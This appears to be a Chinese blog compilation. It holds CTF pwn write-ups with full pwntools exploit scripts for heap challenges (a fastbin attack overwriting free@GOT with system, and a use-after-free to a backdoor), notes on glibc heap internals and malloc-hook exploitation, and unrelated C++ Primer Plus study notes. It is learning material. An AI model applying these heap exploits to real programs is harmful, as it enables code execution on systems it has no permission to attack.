create heap

heaparray[i]存放chunk地址
read_input(heaparray+i,size)写入chunk大小
跳转查看后heap_array在bss段上

edit_heap() 读v0大小到指定chunk中，但是v0比create大就溢出了
delete中free时会将指针置0，所以不存在UFA，

后门，或许修改掉magic就可执行 PIE没开，heaparray_addr = 0x6020E0

详解

先申请到3个chunk

1
2
3


add(0x60,'aaaa') #0
add(0x60,'aaaa') #1
add(0x60,'aaaa') #2

heap2我们要将它送进fastbins，并修改指针到heaparray_addr的地址，下次申请时先申请到heap2，再到存放堆数组指针的地方申请作为伪装堆

非常好，-0x33初刚好找到我们需要的大小来构造0x7f的chunk，然后通过溢出去修改heaparray[0]

1
2
3
4
5
6


add(0x60,'aaaa') #0
add(0x60,'aaaa') #1
add(0x60,'aaaa') #2
free(2) #释放到fastbins后打fastbin attack
payload=b'/bin/sh\x00'+cyclic(0x60)+p64(0x71)+p64(0x6020ad) #由于物理上相邻，所以我们填充完一整个chunk1时prevsize，然后写入fd
edit(1,len(payload),payload) #f写入/bin/sh+填充+fake chunk地址和大小

接下来我们要把heaparray[0]修改为free_got，利用unlink将free_got修改到system去，then——free(1)，由于free_got修改到system，直接执行system('/bin/sh')！

exp

点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF("./pwn")
io=remote("node5.buuoj.cn",25734)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

def add(size,content):
 sla("Your choice :",'1')
 sla("Size of Heap : ",str(size))
 sla("Content of heap:",content)

def edit(idx,size,content):
 sla("Your choice :",'2')
 sla("Index :",str(idx))
 sla("Size of Heap : ",str(size))
 sla("Content of heap : ",content)

def free(idx):
 sla("Your choice :",'3')
 sla("Index :",str(idx))

add(0x60,'aaaa') #0
add(0x60,'aaaa') #1
add(0x60,'aaaa') #2
free(2) #释放到fastbins后打fastbin attack
payload=b'/bin/sh\x00'+cyclic(0x60)+p64(0x71)+p64(0x6020ad)
edit(1,len(payload),payload) #f写入/bin/sh+填充+fake chunk地址和大小

add(0x60,'aaaa') #重新申请回chunk2
add(0x60,'aaaa') #chunk2->fake chunk
payload=cyclic(0x23)+p64(elf.got['free'])
edit(3,len(payload),payload) #写入freegot

payload3=p64(elf.plt['system'])
edit(0,len(payload3),payload3) #将freegot修改到system
free(1)


io.interactive()

hitcontraining_uaf

uaf，main：

free后没有清除指针，可以uaf

添加chunk，最多5个，notelist[i]是malloc分配的堆，第一个chunk默认分配(每次都有一个），用来存放puts函数（print用的），之后的可以控制，而且有magic提供后门函数，notelist[i][1]是利用malloc分配的我们的堆，之后可以读入
欸但是由于free只是把内容放空, 所以我们即使free掉了前面的chunk，i继续增加，指针仍指向原来的chunk

大概是这样，分配两个fastbin大小堆块，free后malloc一个8Bytes的chunk，它会直接写入到chunk0的puts中，由于chunk2的sub_chunk指了回去，最后修改到chunk0的指针到magic
我们再次申请的时候由于sub_chunk的原因，

申请完大小以后传入magic地址，fd=0x867f000这里会修改为print note的地址，我们之后打印堆块就会自动触发magic

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF("./pwn")
io=remote("node5.buuoj.cn",26225)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

def add(size,content):
 sla("choice :","1")
 sla("Note size :",str(size))
 sla("Content :",content)

def delete(idx):
 sla("choice :","2")
 sla("Index :",str(idx))

def printf(idx):
 sla("choice :","3")
 sla("Index :",str(idx))

magic=elf.sym['magic']
add(48,'bbbb') #0+1
add(48,'cccc') #2+3
delete(0)
delete(1)
add(8,p32(magic))
printf(0)

io.interactive()

堆溢出——unlink漏洞攻击（buu举例）

Thu, 06 Mar 2025 23:41:00 +0000

前提

unlink在glibc 2.26之前存在可利用漏洞
要求

存在堆溢出，写到上一个chunk的size
自由创建在物理上相邻的堆

原理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
 FD = P->fd;
 BK = P->bk;
 //检查p和其前后的chunk是否构成双向链表
 if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
 malloc_printerr (check_action, "corrupted double-linked list", P, AV);
 else
 {
 FD->bk = BK;
 BK->fd = FD;
 //一般的unlink到这里就结束了,只有是large bin范围，才继续执行下面的代码。
 //如果 p 在largebin的范围 且 p->fd_nextsize不为空
 if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0))
 {
 //检查p和其前后的large chunk的nextsize域是否构成双向链表
 if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
 malloc_printerr (check_action,"corrupted double-linked list (not small)",P, AV);

 if (FD->fd_nextsize == NULL) {
 if (P->fd_nextsize == P)
 FD->fd_nextsize = FD->bk_nextsize = FD;
 else
 {
 FD->fd_nextsize = P->fd_nextsize;
 FD->bk_nextsize = P->bk_nextsize;
 P->fd_nextsize->bk_nextsize = FD;
 P->bk_nextsize->fd_nextsize = FD;
 }
 }
 else
 {
 P->fd_nextsize->bk_nextsize = P->bk_nextsize;
 P->bk_nextsize->fd_nextsize = P->fd_nextsize;
 }
 }
 }
}

调用free函数时，系统会寻找相邻堆块是否已经释放，如果释放便会进行合并操作，指向先前被释放的chunk的指针会指向新的合并的chunk！
如果我们用特殊的手法操控这个指向就很危险——也就是glibc2.23中存在的unlink漏洞可以修改先前释放的指针的指向，实现任意地址写操作
用更简单的方式来说
写入假的chunk来绕过检查（比如修改free的got表指向system地址啦这种）

ZJCTF 2019]EasyHeap

保护

菜单题

create heap

heaparray[i]存放chunk地址
read_input(heaparray+i,size)写入chunk大小
跳转查看后heap_array在bss段上

edit_heap() 读v0大小到指定chunk中，但是v0比create大就溢出了
delete中free时会将指针置0，所以不存在UFA，

后门，或许修改掉magic就可执行 PIE没开，heaparray_addr = 0x6020E0

详解

先申请到3个chunk

1
2
3


add(0x60,'aaaa') #0
add(0x60,'aaaa') #1
add(0x60,'aaaa') #2

heap2我们要将它送进fastbins，并修改指针到heaparray_addr的地址，下次申请时先申请到heap2，再到存放堆数组指针的地方申请作为伪装堆

非常好，-0x33初刚好找到我们需要的大小来构造0x7f的chunk，然后通过溢出去修改heaparray[0]

1
2
3
4
5
6


add(0x60,'aaaa') #0
add(0x60,'aaaa') #1
add(0x60,'aaaa') #2
free(2) #释放到fastbins后打fastbin attack
payload=b'/bin/sh\x00'+cyclic(0x60)+p64(0x71)+p64(0x6020ad) #由于物理上相邻，所以我们填充完一整个chunk1时prevsize，然后写入fd
edit(1,len(payload),payload) #f写入/bin/sh+填充+fake chunk地址和大小

接下来我们要把heaparray[0]修改为free_got，利用unlink将free_got修改到system去，then——free(1)，由于free_got修改到system，直接执行system('/bin/sh')！

exp

点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF("./pwn")
io=remote("node5.buuoj.cn",25734)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

def add(size,content):
 sla("Your choice :",'1')
 sla("Size of Heap : ",str(size))
 sla("Content of heap:",content)

def edit(idx,size,content):
 sla("Your choice :",'2')
 sla("Index :",str(idx))
 sla("Size of Heap : ",str(size))
 sla("Content of heap : ",content)

def free(idx):
 sla("Your choice :",'3')
 sla("Index :",str(idx))

add(0x60,'aaaa') #0
add(0x60,'aaaa') #1
add(0x60,'aaaa') #2
free(2) #释放到fastbins后打fastbin attack
payload=b'/bin/sh\x00'+cyclic(0x60)+p64(0x71)+p64(0x6020ad)
edit(1,len(payload),payload) #f写入/bin/sh+填充+fake chunk地址和大小

add(0x60,'aaaa') #重新申请回chunk2
add(0x60,'aaaa') #chunk2->fake chunk
payload=cyclic(0x23)+p64(elf.got['free'])
edit(3,len(payload),payload) #写入freegot

payload3=p64(elf.plt['system'])
edit(0,len(payload3),payload3) #将freegot修改到system
free(1)


io.interactive()

heap学习

Mon, 03 Mar 2025 16:26:00 +0000

堆介绍

CTF PWN中的堆不是我们所了解的数据结构，而是一块动态分配的空间 不同于加载进内存就会出现的栈，堆是由malloc等分配函数分配后才会出现的，并且 从低地址向高地址生长，以下所讲的都是linux下的堆分配知识

对堆的操作由堆管理器(ptmalloc2)实现，之所以不是操作系统内核，是因为每一次程序申请或释放堆时都需要系统调用，频繁进行堆操作会严重影响性能

这就是一个基础堆的结构

pre size字段只在前面一个堆块空闲会有指向，若前一个堆块在使用则其为0
size用于指示当前堆块大小，最后三位为3个flag值

NON_MAIN_ARENA chunk是否位于主线程 IS_MAPPED 当前chunk是否由mmap分配 PREV_INUSE 前一个chunk是否被分配，被分配则为1

综上，pre size和size都可用于判断前一个堆块是否释放，malloc函数分配到的内存的返回值指针指向user data 而在chunks有前后连接的时候会变成如下

举例

malloc(8) 在64位中实际上分配到0x21的大小 16+8+8+1
第一个16字节是系统分配最小内存，即如果我们申请内存比其还小就自动申请这么大的内存，即使malloc(0)也会分配（32位是8字节）第二个8字节为presize大小
第三个8字节为size大小
最后1字节为prev_inuse
而调用malloc函数最后给我们返回一个指向user data的指针

指针表示和链表

IDA中一般表示为*(addr+8)，取到addr+8偏移位置存储的值，汇编中一般可以看到mov rax,[地址+偏移] —->链表堆题常有一个菜单系统，用链表相连后我们便可以常看note大小属性等来调整堆空间

一般来说地址+偏移存储各个属性并用链表相连后就可以在不连续的内存空间中将note结构完整的保存下来了

实例

自己写个程序 gcc -g -o test test.c 然后gdb调试

OK这里还没执行malloc，所以vmmap我们看不到heap段，n单步执行后再次查看，

成功看到heap

1
2
3
4


pwndbg> p/x 0x55555557a000-0x555555559000
$2 = 0x21000
pwndbg> p/d (0x55555557a000-0x555555559000)/1024
$5 = 132

132kb的大小远大于10字节，这就是main arena 即内核批发给ptmalloc2的货物大小，之后程序如果要申请小内存直接在这之中取即可，我们可以查看一下堆空间

上面四个是堆我们所申请到的堆空间下面是top chunk

top chunk

堆中第一个堆块，程序以后分配到的内存放到他后面，系统中free chunk不足用其补充chunk

Bins

free()函数和bins分配紧密关联，free后堆块user data被清空，然后堆块指针存储到main_arena中，或者说 ——fast bin

Fast bin

概念：为了快速重新分配回内存的结构，我们分配一块小的内存的时候，会检测fast bin中是否存有小chunk，若存在则从fast bin移除然后返回
fast bin个数为10
fast bin用单链表来维护一系列释放的堆块，实现 快速的小内存分配和释放由释放晚的堆块指向释放早的堆块且不会对free chunk合并（0x20Bytes-0x80Bytes)

看图可知后进先出(LIFO)，先使用第二次的堆块，移除后根据fd所指的前一个堆块（bk指向后一个堆块） main_arena指向fastbin的头部，用于更新指向下面这个堆块若chunk为末尾块，fd=NULL，表示列表的末尾。
搜索的过程为tcachebin->fastbin->unsortedbin->top chunk

free操作：主要分为两步：先通过chunksize函数根据传入的地址指针获取该指针对应的chunk的大小；然后根据这个chunk大小获取该chunk所属的fast bin, 然后再将此chunk添加到该fast bin的链尾即可。整个操作都是在int freel函数中完成.

small bin

概念：small bin空间大于fast bin（小于0x400)
不同于fast bin，其为双向链表循环链表结构，最多62个（每个bin会存储固定大小的chunk，同时步长在8-16字节。头部同样位于main_arena，采用先进先出（FIFO）进行操作

free操作：释放时会检查相邻 chunk 是否空闲，若空闲则合并两个small bins, 加入到unsorted bin

Unsorted bin

概念：unsorted bin 会对堆中碎片chunk合并来减少堆中的残渣（前提是系统没有将这些chunk添加到对应的bins中，chunk不在fastbin范围、或者tcache存在的情况下（tcache已满且块超出tcache大小范围）
只存在一个，它由双向循环链表对chunk连接（因为是拼接的chunk嘛）用fd bk指针进行前后的chunk的指向。任何大小的chunk都可以进入，以FIFO遍历
作用：通过”glibc malloc“有第二次机会重新利用最近刚释放的chunk（第一次在fastbin机制中），由此加快内存分配和操作

Large bin

概念：大于0x400的堆块会分配到Large bin中, ，large bin在保存固定size的同时可以保存一系列的sizes(比如0x400 to 0x430 sized chunks are linked into the same large bin)
存在63个（NLARGE_BINS = 63），每个bin会存储一个范围内的Bin; 双向循环链表，会按照大小进行排序，相同时则最先释放靠前
其特殊的地方还添加了（fd_nextsize 和 bk_nextsize），它们仅存在于每个 largebin 的第一个元素中。而nextsize的指针会构成另一个双向循环链表; 此外，malloc 仅当块是 largebin 中的最后一个块时，才会分配带有指针（跳过列表指针）的块nextsize，以避免更改多个指针。

free类似small bin

tcache bin

tcache bin利用总结（看雪）

概念：即Thread Local CacheGlibc2.26以及之后，glibc引入tcache机制，使得多线程下堆分配可以有更高的效率，tcache有着类似fast bin的单链表结构且作用也与fast bin相似，不会被合并，优先分配（但数量比fast bin多且线程更为安全）其效果也类似，释放的chunk会优先考虑放入
TCACHE_MAX_BINS的限制使得0x400以上chunk不会放入

每条链子上的mp_.tcache_count限制最多的chunk（默认7）
同时tcache_entry *e=(tcache_entry *)chunk2mem(chunk);的chunk2mem宏i使得tcache链表串起了对应chunk的userdata位置

共有64个固定大小tcache bin，且为线程专有

需要注意的是，当chunk从fast-/small bins 分配的时候，malloc会将残留的free chunk塞入到线程进行相应的tcachebin直到填满; 对unsorted bin来说也是相似的，任何相似的chunk 符合size要求的都会被放入tcache bin, 如果满了就寻找其他符合需求的chunk in unsorted bin，我们也就分配到了这个chunk;而如果我们扫描完了unsorted bin有>=1的chunk(s)进入了tcache，则从tcache分配

Bins的完整工作流程

分配内存（malloc）：
- 检查 tcache → fast bins → small bins → unsorted bin → large bins → top chunk → 系统调用新的。
释放内存（free）：
- 若为 tcache 大小，插入 tcache。
- 否则插入 fast bins（不合并）或 unsorted bin（尝试合并）。

看how2heap例题进行demo测试

Unlink

在分配/释放的过程中,chunks 或许会被从存储的bin中unlink（即与存储链表失去了连接而成为迷失内存）——这些unlinked chunk就会被称为victim

fast or tcache bin （LIFO 单链表）

在fast/tcache bin中，unlink是很简单的，因为他们为LIFO结构（Last in First Out）
我们原本是 main arena->A fd->B fd-> C fd->NULL ，将A fd复制到链表头部，就跳过A，A is unlinked

small or Unsorted bin or large bin（双向链表）

节点通过 fd（指向下一个）和 bk（指向上一个）链接。
因此我们部分解除链接：

通过 victim 的 bk 找到前一个块（prev）和后一个块。
将victim 的后一个chunk bk指向前一个chunk
将prev chunk的fd指向后一个块例如 main_arena <-> A <-> B <-> C，要移除 B 时我们就改A fd和C bk断链结果上来看我们使了一个巧，通过修改相邻指针B is unlinked

我们不难发现，victim的fd和bk都不变化，而我们就可以利用这点泄漏

libc 地址
- P 位于双向链表头部，bk 泄漏
- P 位于双向链表尾部，fd 泄漏
- 双向链表只包含一个空闲 chunk 时，P 位于双向链表中，fd 和 bk 均可以泄漏
泄漏堆地址，双向链表包含多个空闲 chunk
- P 位于双向链表头部，fd 泄漏
- P 位于双向链表中，fd 和 bk 均可以泄漏
- P 位于双向链表尾部，bk 泄漏

Remaindering

remainder简单来说就是将一个块进行拆分为两部分：请求大小的块和剩余部分。剩余部分便会因此进入到unsorted bin。剩余操作可以发生在三个阶段：

从large bin分配时
binmap搜索时
从unsorted bin扫描到last remainder，即上次分割的剩余部分： 1. 若last remainder且大小>=请求大小+MINSIZE - 分配给用户 - 剩余部分成为新的last remainder` 2. 若不匹配就继续搜索

Exhausting

如在unsorted bin请求一个大小为N的块，但只找到了N+0x10大小的块。所以0x10的大小是没有用的，但是malloc还是会消耗掉这N+0X10的内存大小来分配N

Consolidation

合并就是将堆上至少两个空闲块合并为一个更大的空闲块，以避免碎片化。
同时与顶部块相邻的块的合并也值得注意。

malloc hooks

一系列的特殊hooks会为house of IO以及其他利用技术提供非常重要的帮助，下面为一系列典例

由于使用上的危险，下面的举例已在GLIBC >= 2.34 中删除。

__malloc_hook / __free_hook / __realloc_hook：位于GLIBC 的 writable 段（如 libc.so 的 .data 或 .bss
作用：默认设置为NULL，在调用GLIBC时默认实现，若非NULL则会调用hook指向的函数——比如覆盖hook执行one_gadget或shellcode，使得调用malloc/free 时执行任意代码
例如*(__malloc_hook)=(void*)system;malloc("/bin/sh"); 拿到shell
__after_morecore_hook：
作用：当 sbrk() 请求更多内存后调用。在堆扩展时我们可以劫持到堆扩展时的回调
__malloc_initialize_hook：
作用：malloc 首次初始化时调用（仅一次）。可以在首次调用malloc前触发（条件较为苛刻）
__memalign_hook：
作用：When set and aligned_alloc(), memalign(), posix_memalign()，or valloc()被调用时，这些所指函数的指针地址会存储在hook并被调用
__dl_open_hook：
作用：当GLIBC中触发打印回溯的错误信息的时候——典例为backtrace_and_maps()会调用到这个hook打印stderr追踪。结构：
1 2 3 4

struct dl_open_hook { void *(*dlopen_mode)(const char *, int); void *(*dlsym)(void *, const char *); };

举例：abort()触发了__backtrace()->init()->__libc_dlopen()的链子我们有以下思路

覆盖 _dl_open_hook 指向攻击者控制的内存。
伪造 dlopen_mode 和 dlsym 指针（如指向 system）。
触发 abort() 或内存错误时执行任意函数。

堆溢出

所谓堆溢出就是向某个堆块中写入的字节数超过了堆块本身可使用的字节数（之所以是可使用而不是用户申请的字节数，是因为堆管理器会对用户所申请的字节数调整，实际总是更大的），因而导致了数据溢出，并覆盖到物理相邻的高地址的下一个堆块。

堆溢出前提

程序向堆上写入数据
可以操控写入数据大小

问题是堆上没有返回地址等可以操控的数据，所以堆溢出 如何getshell？

覆盖与其相邻（物理上）的下一个chunk
利用堆的机制来任意地址写，或控制堆块内容来控制程序流

参考：overvie_of_glibc_heap

C++ Primer Plus读书笔记

Tue, 25 Feb 2025 09:57:00 +0000

开学了，有C++面向对象编程课程，然觉学校教材并不足合胃口，遂循🚀意见，阅此经典。略记些许笔记，加深印象（记性不好）只记我没学过的

预备知识

前置知识，问题不多，详细请自己阅读
关于过程性编程和面向对象编程：
采用过程性编程方法时，首先考虑要遵循的步骤，然后考虑如何表示这些数据。如果换成一位OOP程序员，又将如何呢？首先考虑数据——不仅要考虑如何表示数据，还要考虑如何使用数据。用户与数据交互的方式有三种：初始化、更新和报告——这就是用户接口。

总之，采用OOP方法时，首先从用户的角度考虑对象——描述对象所需的数据以及描述用户与数据交互所需的操作。完成对接口的描述后，需要确定如何实现接口和数据存储。最后，使用新的设计方案创建出程序。

开始学习C++

类介绍

类时用户定义的数据类型，要定义类，需要描述如何表示信息和可对数据执行哪些操作
类之于对象就像
类型之于变量
类描述一种数据类型的全部属性
对象是类的实例化
之后我们会更详细的讲解

处理数据-前半部分

内置的c++类型对象有基本类型和复合类型，当然程序还需要一种表示存储数据的方法

简单变量

程序要记录三个基本属性

信息将存储在哪里
要存储什么值
存储何种类型的信息

1
2


int counts;
counts=5;

这些语句告诉程序，它正在存储整数，程序也将找到一块内存用于存储，并将单元标记为counts。
实际上，我们可以用&来检索其在内存中的位置

变量和变量名

命名方式类似于c，注意一下

只能字母字符、数字和下划线
名称第一个字符不是数字
区分大小写
无C++关键字
以两个下划线或下划线和大写字母打头的名称被保留用于实现，以一个下划线开头的名称将被用作全局辨识符
名称长度无限制

整型

short/int/long

计算机内存由bit单元组成，c++确保最小长度

short至少16位
int至少与short一样长
long至少32位，且至少与int一样长

位与字节

位(bit)可看作电子开关的，0表示关，1表示开，8位内存块便有256种组合了，每增加一位可以增加一倍组合数
字节(byte)通常是八位内存单元，字节指的是描述计算机内存量的度量单位
我们也可以在头文件climits导入后查看关于整型限制的信息，具体地说它表示的各种限制的符号名称。例如INT_MAX为int最大取值，CHAR_BIT为字节位数；
用size_of操作符我们就可以得到具体的一种类型名的大小

无符号

前面的三种类型都可以通过无符号扩大范围，但前提是无负数要求的情况下

数字类型控制符

dec十进制
hex十六进制
oct八进制
输出是跟在变量后面
例如cout<<hex<<"chest = " << " (hexadecimal)" <<endl;

char类型：字符和小证书

char类型专门为存储字符而设计，但是在cin和cout时发生过改变，cin时输入的字符在计算机内转化为数字，cout时则又转化为字符

成员函数cout.put()

cout.put()是同一个重要c++OOP概念——成员函数的第一个例子。例如类ostream有一个put()成员函数，用来输出字符。必须用句点将对象名和函数名称连接起来。句点被称为成员操作符。
而cout.put()的意思就是，通过类对象cout来使用函数put()，提供了另一种显示字符的方法可以替代«操作符，而将字符常量’M’和’N’显示为数字

重要复合类型——指针和自由存储空间

声明和初始化

int* p_new C++程序员多采用这种格式，强调声明一个int指针我们可以在声明语句中初始化指针，在这种情况下，被初始化的是指针，而不是它指向的值

1
2


int hi=5;
int* pt=&hi;

指针和数字

指针不是整型，所以我们不能在声明指针，要给指针赋值，要将数字值作为地址来使用，通过强制类型转换将数字变为合适的地址类型

1
2


int* pt;
pt = (int *)0xB8000000;

使用new来分配内存！💘

new可以根据程序的需要分配内存大小，而我们程序员所需要做的，就是告诉new，需要为哪种数据类型分配内存；new会找到一个长度正确的内存块，并返回内存块地址
之后我们要学会释放指针的内存

1
2
3


int* ps=new int;
... #use
delete ps;

使用new创建动态数组！'

1
2
3


int* psome=new int [10];
...
delete []ps;

new操作符返回第一个元素的地址，如果我们要使用，可以直接通过psome[0]，如果我们用p3=p3+1，那么p3的零基地址就+1，之后再次使用psome[0]就是原来的psome[1]了

尽可能使用const

将指针参数声明为指向常量数据的指针有两条理由

可以避免由于无意见修改数据导致的编程错误（比如先声明const float gm=1.6，再声明float * pm =&g_m是不可行的
使用const使得函数可以处理const和非const实参，否则将只能接受非const数据，如条件允许，则应将指针形参声明为指向const的指针

函数探幽-第八章

主要内容概括

内联函数；
引用变量；
如何按引用传递函数参数；
默认参数；
函数重载；
函数模板；
函数模板具体化。

内联与宏

为提高程序运行速度所做的一项改进，由于编译的最终产品是可执行程序，而 内联函数提供了另一种选择，内联函数的汇编代码与其他代码内联起来了。也就是，编译器将使用函数代码替换调用。
对于内联代码，程序无需跳到另一个位置执行代码又再调回来，但相对的占用内存变多了

而我们要使用这项特性，必须采取下列措施

函数声明前加上关键字inline
函数定义前加上关键字inline

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


// inline.cpp -- using an inline function
#include <iostream>

// an inline function definition
inline double square(double x) { return x * x; }
int main()
{
 using namespace std;
 double a, b;
 double c = 13.0;

 a = square(5.0);
 b = square(4.5 + 7.5); // can pass expressions
 cout << "a = " << a << ", b = " << b << "\n";
 cout << "c = " << c;
 cout << ", c squared = " << square(c++) << "\n";
 cout << "Now c = " << c << "\n";
 // cin.get();
 return 0;
}

程序输出，内联函数和常规函数一样，也通过值来传递参数，如果函数为表达式，那么也就传递表达式的值，这使得c++内联函数功能十分强大，内联函数常用在简单、行数少的函数上

宏

一个计算平方的宏
#define SQUARE(X)X*X
这并不是通过传递参数实现的，而是通过文本替换实现的，X就是参数的符号标记

1
2
3


a=SQUARE(5.0)：is replaced by a =5.0*5.0;
b=SQUARE(4.5+7.5)：is replaced by b=4.5+7.5*4.5+7.5;
d=SQUARE(c++):is replaced by b=c++*c++

实际上上述范例只有第一个可以正常工作，可以通过使用括号来进行改进： #define SQUARE(x) ((x)*(x))

引用变量

C++新增一种复合类型——引用变量。
例如，将twin作为element变量的引用，则可以交替使用twin和element来表示该变量。
那么，这种别名有何作用？——用作函数形参，通过引用变量用作参数

1
2


int rats;
cint & rodents = rats;

&不是地址操作符，而是类型标识符的一部分，上面允许rodents和rats互换——它们指向相同的值和内存单元

——注意！可以通过初始化声明设置引用，但通过赋值设置是不行的
如

1
2
3
4
5


int rats
int * pt=&rats;
int & rodents =*pt;
int bunnies = 50;
pt = &bunnies;

rodents初始化指向了rats。接下来pt改为指向bunnies并不能改变引用
在函数中传入引用参数的话，我们就可以真正意义上修改参数的值了

即某个变量的引用会一直效忠于它而不可更改

const和引用传参

由于上文所说函数对引用的操作实际上是作用在引用所引的对象上，通过使用引用形参，允许函数改变一个或多个实参的值
所以我们要使用引用避免拷贝，这时候我们又不想影响对象本身的值，所以我们只要使用 const ...进行常量形参引用就可以了

比如我们编写一个函数比较两个字符串对象长度，考虑到可能很长，所以就应该尽量避免拷贝，使用引用形参最合适，一个实例代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


#include<iostream>
using namespace std;
#include<string>
bool isShorter(const string& s1, const string& s2) {
 return s1.size() < s2.size();
}
int main() {
 string s1 = "bvueak";
 string s2 = "bvueak111";
 bool res = isShorter(s1, s2);
 cout << res << endl;
 return 0;
}

我们再看一个const常量在函数对象中的引用传递

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


//const引用传递参数
FaultManager(const CircuitGraph& circuit){
 //函数体
}
void add(const Line& line){
 //函数体
}

//形参是值传递
void Slove(const vector<int> v){
 //函数体
}

总之，由于值传递是实参的拷贝，在内存分配和时间消耗上就会产生较大的影响，所以我们借此机会去减少函数调用过程中的时间消耗去提高系统效率

内存模型和名称空间

再谈const

C++（但不是在C语言）中，const限定符对默认存储类型稍有影响。在默认情况下全局变量的链接性为外部的，但const全局变量的链接性为内部的。也就是说，在C++看来，全局 const 定义就像使用了 static 说明符一样。
C++修改了常量类型的规则，让程序员更轻松。例如，假设将一组常量放在头文件中，
那么，预处理器将头文件内容包含到源文件中后，所有源文件都包含类似下面的定义

1
2


const int parameter = 10;
const char *waring = "wait!";

如果全局const声明的链接性像常规变量那样是外部的。按单定义规则就出错了（但并没有）
由于外部定义的const数据的链接性为内部的，因此可以在所有文件中使用相同的声明。

名称空间

名称可以是变量、函数、结构体、枚举、类以及类和结构体的成员。C++标准提供了名称空间工具，以便更好地控制名称的作用域。

传统派

C++关于全局变量和局部变量的规则定义了一种名称空间层次。每个声明区域都可以声明名称，这些名称独立于在其他声明区域中声明的名称。在一个函数中声明的局部变量不会与在另一个函数中声明的局部变量发生冲突。

嘛就是花括号区域是定义区域，但是潜在作用域还是要根据定义来的

新名称空间特性

c++中可以通过 定义一种新的声明区域来创建命名的名称空间，目的在于：

. 提供声明名称区域，名称空间之间不会因为相同名称发生冲突（如果要多个文件兼容就不会出问题了）
名称空间可以是全局的，也可以位于另一个名称空间中，但不能位于代码块中。因此，在默认情况下，在名称空间中声明的名称的链接性为外部的

using声明和using编译指令

没错就是你们最属性的using namespace std;，using声明由被限定的名称和关建字（using）组成：
main()中一个上面这样的声明将fetch添加到main()的声明区域中，之后就可以用fetch 代替Jill::fetch了，我们就这样获得了一个fetch名称。 using编译指令则是为了使所有的名称可用。由名称空间名和关建字using namespace组成。它使得名称空间中所有名称可用，而不用再添加作用域解析运算符（没错就是你们最熟悉的using namespace std;

using编译指令和using声明对比

鉴定为声明肯定更安全，声明只导入指定名称，改名称与局部名称发生冲突，编译器发出指示。而编译指令则导入所有名称、包括可能不需要的名称。甚至在与局部名称冲突时，局部名称覆盖名称空间也不会让编译器发出警告——属于是过于开放了

其他特性
可以将名称空间声明嵌套

flame所指的就是element::fire::flame了

名称空间意义和原则

使用在已命名的名称空间中声明的变量，而不是使用外部全局变量和静态全局变量
开发一个函数库/类库。放在一个名称空间中
导入名称还是首选作用域解析运算或using声明（量大&确定的情况下才使用using编译）

对象、继承和引用

使用引用参数的原因我们已经知道了

能够修改调用函数中的数据对象;
通过传递引用而不是整个数据对象，可以提高程序的运行速度。所以综上我们可以总结：

数据对象	使用	原因
内置数据，小型数据结构	值传递	内存小
数组	指针	唯一的选择，并且要声明为const
较大的结构题	cosnt指针/const引用	提升效率
类对象	const引用	c++新增这项特性的主要元音就是为了传递类对象参数

ostream和ofstream类突显了引用的一个有趣属性。ofstream对象将可以使用ostream类方法，文件输入/输出格式就与控制台输入/输出相同
